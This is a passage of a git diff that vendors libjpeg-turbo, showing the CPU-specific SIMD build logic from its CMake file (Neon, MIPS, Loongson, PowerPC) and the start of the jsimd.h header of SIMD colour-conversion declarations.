0; i < 64; i++) input[i] = (uint8_t)argc; + output = vld1q_u8_x4(input); + vst4q_u8(input, output); + return (int)input[0]; + }" HAVE_VLD1Q_U8_X4) +if(BITS EQUAL 32) + unset(CMAKE_REQUIRED_FLAGS) +endif() +configure_file(arm/neon-compat.h.in arm/neon-compat.h @ONLY) +include_directories(${CMAKE_CURRENT_BINARY_DIR}/arm) + +# GCC 11 and earlier and some older versions of Clang do not have a full or +# optimal set of Neon intrinsics, so for performance reasons, when using those +# compilers, we default to using the older GAS implementation of the Neon SIMD +# extensions for certain algorithms. The presence or absence of the three +# intrinsics we tested above is a reasonable proxy for this, except with GCC 10 +# and 11. +if((HAVE_VLD1_S16_X3 AND HAVE_VLD1_U16_X2 AND HAVE_VLD1Q_U8_X4 AND + (NOT CMAKE_COMPILER_IS_GNUCC OR + CMAKE_C_COMPILER_VERSION VERSION_EQUAL 12.0.0 OR + CMAKE_C_COMPILER_VERSION VERSION_GREATER 12.0.0))) + set(DEFAULT_NEON_INTRINSICS 1) +else() + set(DEFAULT_NEON_INTRINSICS 0) +endif() +option(NEON_INTRINSICS + "Because GCC (as of this writing) and some older versions of Clang do not have a full or optimal set of Neon intrinsics, for performance reasons, the default when building libjpeg-turbo with those compilers is to continue using the older GAS implementation of the Neon SIMD extensions for certain algorithms. Setting this option forces the full Neon intrinsics implementation to be used with all compilers. Unsetting this option forces the hybrid GAS/intrinsics implementation to be used with all compilers." + ${DEFAULT_NEON_INTRINSICS}) +if(NOT NEON_INTRINSICS) + enable_language(ASM) + + set(CMAKE_ASM_FLAGS "${CMAKE_C_FLAGS} ${CMAKE_ASM_FLAGS}") + + # Test whether gas-preprocessor.pl would be needed to build the GAS + # implementation of the Neon SIMD extensions. If so, then automatically + # enable the full Neon intrinsics implementation. + if(CPU_TYPE STREQUAL "arm") + file(WRITE ${CMAKE_CURRENT_BINARY_DIR}/gastest.S " + .text + .fpu neon + .arch armv7a + .object_arch armv4 + .arm + pld [r0] + vmovn.u16 d0, q0") + else() + file(WRITE ${CMAKE_CURRENT_BINARY_DIR}/gastest.S " + .text + MYVAR .req x0 + movi v0.16b, #100 + mov MYVAR, #100 + .unreq MYVAR") + endif() + separate_arguments(CMAKE_ASM_FLAGS_SEP UNIX_COMMAND "${CMAKE_ASM_FLAGS}") + execute_process(COMMAND ${CMAKE_ASM_COMPILER} ${CMAKE_ASM_FLAGS_SEP} + -x assembler-with-cpp -c ${CMAKE_CURRENT_BINARY_DIR}/gastest.S + WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR} RESULT_VARIABLE RESULT + OUTPUT_VARIABLE OUTPUT ERROR_VARIABLE ERROR) + if(NOT RESULT EQUAL 0) + message(WARNING "GAS appears to be broken. Using the full Neon SIMD intrinsics implementation.") + set(NEON_INTRINSICS 1 CACHE INTERNAL "" FORCE) + endif() +endif() +boolean_number(NEON_INTRINSICS PARENT_SCOPE) +if(NEON_INTRINSICS) + add_definitions(-DNEON_INTRINSICS) + message(STATUS "Use full Neon SIMD intrinsics implementation (NEON_INTRINSICS = ${NEON_INTRINSICS})") +else() + message(STATUS "Use partial Neon SIMD intrinsics implementation (NEON_INTRINSICS = ${NEON_INTRINSICS})") +endif() + +set(SIMD_SOURCES arm/jcgray-neon.c arm/jcphuff-neon.c arm/jcsample-neon.c + arm/jdmerge-neon.c arm/jdsample-neon.c arm/jfdctfst-neon.c + arm/jidctred-neon.c arm/jquanti-neon.c) +if(NEON_INTRINSICS) + set(SIMD_SOURCES ${SIMD_SOURCES} arm/jccolor-neon.c arm/jidctint-neon.c) +endif() +if(NEON_INTRINSICS OR BITS EQUAL 64) + set(SIMD_SOURCES ${SIMD_SOURCES} arm/jidctfst-neon.c) +endif() +if(NEON_INTRINSICS OR BITS EQUAL 32) + set(SIMD_SOURCES ${SIMD_SOURCES} arm/aarch${BITS}/jchuff-neon.c + arm/jdcolor-neon.c arm/jfdctint-neon.c) +endif() +if(BITS EQUAL 32) + set_source_files_properties(${SIMD_SOURCES} COMPILE_FLAGS "-mfpu=neon ${SOFTFP_FLAG}") +endif() +if(NOT NEON_INTRINSICS) + string(TOUPPER ${CMAKE_BUILD_TYPE} CMAKE_BUILD_TYPE_UC) + set(EFFECTIVE_ASM_FLAGS "${CMAKE_ASM_FLAGS} ${CMAKE_ASM_FLAGS_${CMAKE_BUILD_TYPE_UC}}") + message(STATUS "CMAKE_ASM_FLAGS = ${EFFECTIVE_ASM_FLAGS}") + + set(SIMD_SOURCES ${SIMD_SOURCES} arm/aarch${BITS}/jsimd_neon.S) +endif() + +if(UNIX AND BITS EQUAL 32) + include(CheckSymbolExists) + check_symbol_exists(getauxval sys/auxv.h HAVE_GETAUXVAL) + if(HAVE_GETAUXVAL) + set_source_files_properties(arm/aarch${BITS}/jsimd.c PROPERTIES + COMPILE_DEFINITIONS HAVE_GETAUXVAL) + endif() + check_symbol_exists(elf_aux_info sys/auxv.h HAVE_ELF_AUX_INFO) + if(HAVE_ELF_AUX_INFO) + set_source_files_properties(arm/aarch${BITS}/jsimd.c PROPERTIES + COMPILE_DEFINITIONS HAVE_ELF_AUX_INFO) + endif() +endif() + +add_library(simd OBJECT ${SIMD_SOURCES} arm/aarch${BITS}/jsimd.c) + +if(CMAKE_POSITION_INDEPENDENT_CODE OR ENABLE_SHARED) + set_target_properties(simd PROPERTIES POSITION_INDEPENDENT_CODE 1) +endif() + + +############################################################################### +# MIPS (GAS) +############################################################################### + +elseif(CPU_TYPE STREQUAL "mips" OR CPU_TYPE STREQUAL "mipsel") + +enable_language(ASM) + +string(TOUPPER ${CMAKE_BUILD_TYPE} CMAKE_BUILD_TYPE_UC) +set(EFFECTIVE_ASM_FLAGS "${CMAKE_ASM_FLAGS} ${CMAKE_ASM_FLAGS_${CMAKE_BUILD_TYPE_UC}}") +message(STATUS "CMAKE_ASM_FLAGS = ${EFFECTIVE_ASM_FLAGS}") + +set(CMAKE_REQUIRED_FLAGS -mdspr2) + +check_c_source_compiles(" + #if !(defined(__mips__) && __mips_isa_rev >= 2) + #error MIPS DSPr2 is currently only available on MIPS32r2 platforms. + #endif + int main(void) { + int c = 0, a = 0, b = 0; + __asm__ __volatile__ ( + \"precr.qb.ph %[c], %[a], %[b]\" + : [c] \"=r\" (c) + : [a] \"r\" (a), [b] \"r\" (b) + ); + return c; + }" HAVE_DSPR2) + +unset(CMAKE_REQUIRED_FLAGS) + +if(NOT HAVE_DSPR2) + simd_fail("SIMD extensions not available for this CPU") + return() +endif() + +add_library(simd OBJECT mips/jsimd_dspr2.S mips/jsimd.c) + +if(CMAKE_POSITION_INDEPENDENT_CODE OR ENABLE_SHARED) + set_target_properties(simd PROPERTIES POSITION_INDEPENDENT_CODE 1) +endif() + +############################################################################### +# MIPS64 (Intrinsics) +############################################################################### + +elseif(CPU_TYPE STREQUAL "loongson" OR CPU_TYPE MATCHES "^mips64") + +set(CMAKE_REQUIRED_FLAGS -Wa,-mloongson-mmi,-mloongson-ext) + +check_c_source_compiles(" + #if !(defined(__mips__) && __mips_isa_rev < 6) + #error \"Loongson MMI can't work with MIPS Release 6+\" + #endif + int main(void) { + int c = 0, a = 0, b = 0; + asm ( + \"paddb %0, %1, %2\" + : \"=f\" (c) + : \"f\" (a), \"f\" (b) + ); + return c; + }" HAVE_MMI) + +unset(CMAKE_REQUIRED_FLAGS) + +if(NOT HAVE_MMI) + simd_fail("SIMD extensions not available for this CPU") + return() +endif() + +set(SIMD_SOURCES mips64/jccolor-mmi.c mips64/jcgray-mmi.c mips64/jcsample-mmi.c + mips64/jdcolor-mmi.c mips64/jdmerge-mmi.c mips64/jdsample-mmi.c + mips64/jfdctfst-mmi.c mips64/jfdctint-mmi.c mips64/jidctfst-mmi.c + mips64/jidctint-mmi.c mips64/jquanti-mmi.c) + +if(CMAKE_COMPILER_IS_GNUCC) + foreach(file ${SIMD_SOURCES}) + set_property(SOURCE ${file} APPEND_STRING PROPERTY COMPILE_FLAGS + " -fno-strict-aliasing") + endforeach() +endif() +foreach(file ${SIMD_SOURCES}) + set_property(SOURCE ${file} APPEND_STRING PROPERTY COMPILE_FLAGS + " -Wa,-mloongson-mmi,-mloongson-ext") +endforeach() + +add_library(simd OBJECT ${SIMD_SOURCES} mips64/jsimd.c) + +if(CMAKE_POSITION_INDEPENDENT_CODE OR ENABLE_SHARED) + set_target_properties(simd PROPERTIES POSITION_INDEPENDENT_CODE 1) +endif() + +############################################################################### +# PowerPC (Intrinsics) +############################################################################### + +elseif(CPU_TYPE STREQUAL "powerpc") + +set(CMAKE_REQUIRED_FLAGS -maltivec) + +check_c_source_compiles(" + #include + int main(void) { + __vector int vi = { 0, 0, 0, 0 }; + int i[4]; + vec_st(vi, 0, i); + return i[0]; + }" HAVE_ALTIVEC) + +unset(CMAKE_REQUIRED_FLAGS) + +if(NOT HAVE_ALTIVEC) + simd_fail("SIMD extensions not available for this CPU (PowerPC SPE)") + return() +endif() + +set(SIMD_SOURCES powerpc/jccolor-altivec.c powerpc/jcgray-altivec.c + powerpc/jcsample-altivec.c powerpc/jdcolor-altivec.c + powerpc/jdmerge-altivec.c powerpc/jdsample-altivec.c + powerpc/jfdctfst-altivec.c powerpc/jfdctint-altivec.c + powerpc/jidctfst-altivec.c powerpc/jidctint-altivec.c + powerpc/jquanti-altivec.c) + +set_source_files_properties(${SIMD_SOURCES} PROPERTIES + COMPILE_FLAGS -maltivec) + +if(UNIX) + include(CheckSymbolExists) + check_symbol_exists(getauxval sys/auxv.h HAVE_GETAUXVAL) + if(HAVE_GETAUXVAL) + set_source_files_properties(powerpc/jsimd.c PROPERTIES + COMPILE_DEFINITIONS HAVE_GETAUXVAL) + endif() + check_symbol_exists(elf_aux_info sys/auxv.h HAVE_ELF_AUX_INFO) + if(HAVE_ELF_AUX_INFO) + set_source_files_properties(powerpc/jsimd.c PROPERTIES + COMPILE_DEFINITIONS HAVE_ELF_AUX_INFO) + endif() +endif() + +add_library(simd OBJECT ${SIMD_SOURCES} powerpc/jsimd.c) + +if(CMAKE_POSITION_INDEPENDENT_CODE OR ENABLE_SHARED) + set_target_properties(simd PROPERTIES POSITION_INDEPENDENT_CODE 1) +endif() + + +############################################################################### +# None +############################################################################### + +else() + +simd_fail("SIMD extensions not available for this CPU (${CMAKE_SYSTEM_PROCESSOR})") + +endif() # CPU_TYPE + +if(WITH_SIMD AND ENABLE_STATIC) + add_executable(simdcoverage simdcoverage.c) + target_link_libraries(simdcoverage jpeg-static) +endif() diff --git a/lib/libjpeg-turbo/simd/jsimd.h b/lib/libjpeg-turbo/simd/jsimd.h new file mode 100755 index 0000000..15abb23 --- /dev/null +++ b/lib/libjpeg-turbo/simd/jsimd.h @@ -0,0 +1,1256 @@ +/* + * Copyright 2009 Pierre Ossman for Cendio AB + * Copyright (C) 2011, 2014-2016, 2018, 2020, 2022, D. R. Commander. + * Copyright (C) 2013-2014, MIPS Technologies, Inc., California. + * Copyright (C) 2014, Linaro Limited. + * Copyright (C) 2015-2016, 2018, 2022, Matthieu Darbois. + * Copyright (C) 2016-2018, Loongson Technology Corporation Limited, BeiJing. + * Copyright (C) 2020, Arm Limited. + * + * Based on the x86 SIMD extension for IJG JPEG library, + * Copyright (C) 1999-2006, MIYASAKA Masaru. + * For conditions of distribution and use, see copyright notice in jsimdext.inc + * + */ + +/* Bitmask for supported acceleration methods */ + +#define JSIMD_NONE 0x00 +#define JSIMD_MMX 0x01 +#define JSIMD_3DNOW 0x02 +#define JSIMD_SSE 0x04 +#define JSIMD_SSE2 0x08 +#define JSIMD_NEON 0x10 +#define JSIMD_DSPR2 0x20 +#define JSIMD_ALTIVEC 0x40 +#define JSIMD_AVX2 0x80 +#define JSIMD_MMI 0x100 + +/* SIMD Ext: retrieve SIMD/CPU information */ +EXTERN(unsigned int) jpeg_simd_cpu_support(void); + +/* RGB & extended RGB --> YCC Colorspace Conversion */ +EXTERN(void) jsimd_rgb_ycc_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_ycc_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_ycc_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_ycc_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_ycc_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_ycc_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_ycc_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +extern const int jconst_rgb_ycc_convert_sse2[]; +EXTERN(void) jsimd_rgb_ycc_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_ycc_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_ycc_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_ycc_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_ycc_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_ycc_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_ycc_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +extern const int jconst_rgb_ycc_convert_avx2[]; +EXTERN(void) jsimd_rgb_ycc_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_ycc_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_ycc_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_ycc_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_ycc_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_ycc_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_ycc_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +EXTERN(void) jsimd_rgb_ycc_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_ycc_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_ycc_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_ycc_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_ycc_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_ycc_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_ycc_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +#ifndef NEON_INTRINSICS + +EXTERN(void) jsimd_extrgb_ycc_convert_neon_slowld3 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_ycc_convert_neon_slowld3 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +#endif + +EXTERN(void) jsimd_rgb_ycc_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_ycc_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_ycc_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_ycc_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_ycc_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_ycc_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_ycc_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +EXTERN(void) jsimd_rgb_ycc_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_ycc_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_ycc_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_ycc_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_ycc_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_ycc_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_ycc_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +EXTERN(void) jsimd_rgb_ycc_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_ycc_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_ycc_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_ycc_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_ycc_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_ycc_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_ycc_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +/* RGB & extended RGB --> Grayscale Colorspace Conversion */ +EXTERN(void) jsimd_rgb_gray_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_gray_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_gray_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_gray_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_gray_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_gray_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_gray_convert_mmx + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +extern const int jconst_rgb_gray_convert_sse2[]; +EXTERN(void) jsimd_rgb_gray_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_gray_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_gray_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_gray_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_gray_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_gray_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_gray_convert_sse2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +extern const int jconst_rgb_gray_convert_avx2[]; +EXTERN(void) jsimd_rgb_gray_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_gray_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_gray_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_gray_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_gray_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_gray_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_gray_convert_avx2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +EXTERN(void) jsimd_rgb_gray_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_gray_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_gray_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_gray_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_gray_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_gray_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_gray_convert_neon + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +EXTERN(void) jsimd_rgb_gray_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_gray_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_gray_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_gray_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_gray_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_gray_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_gray_convert_dspr2 + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +EXTERN(void) jsimd_rgb_gray_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_gray_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_gray_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_gray_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_gray_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_gray_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxrgb_gray_convert_mmi + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); + +EXTERN(void) jsimd_rgb_gray_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgb_gray_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extrgbx_gray_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgr_gray_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extbgrx_gray_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + JDIMENSION output_row, int num_rows); +EXTERN(void) jsimd_extxbgr_gray_convert_altivec + (JDIMENSION img_width, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, + 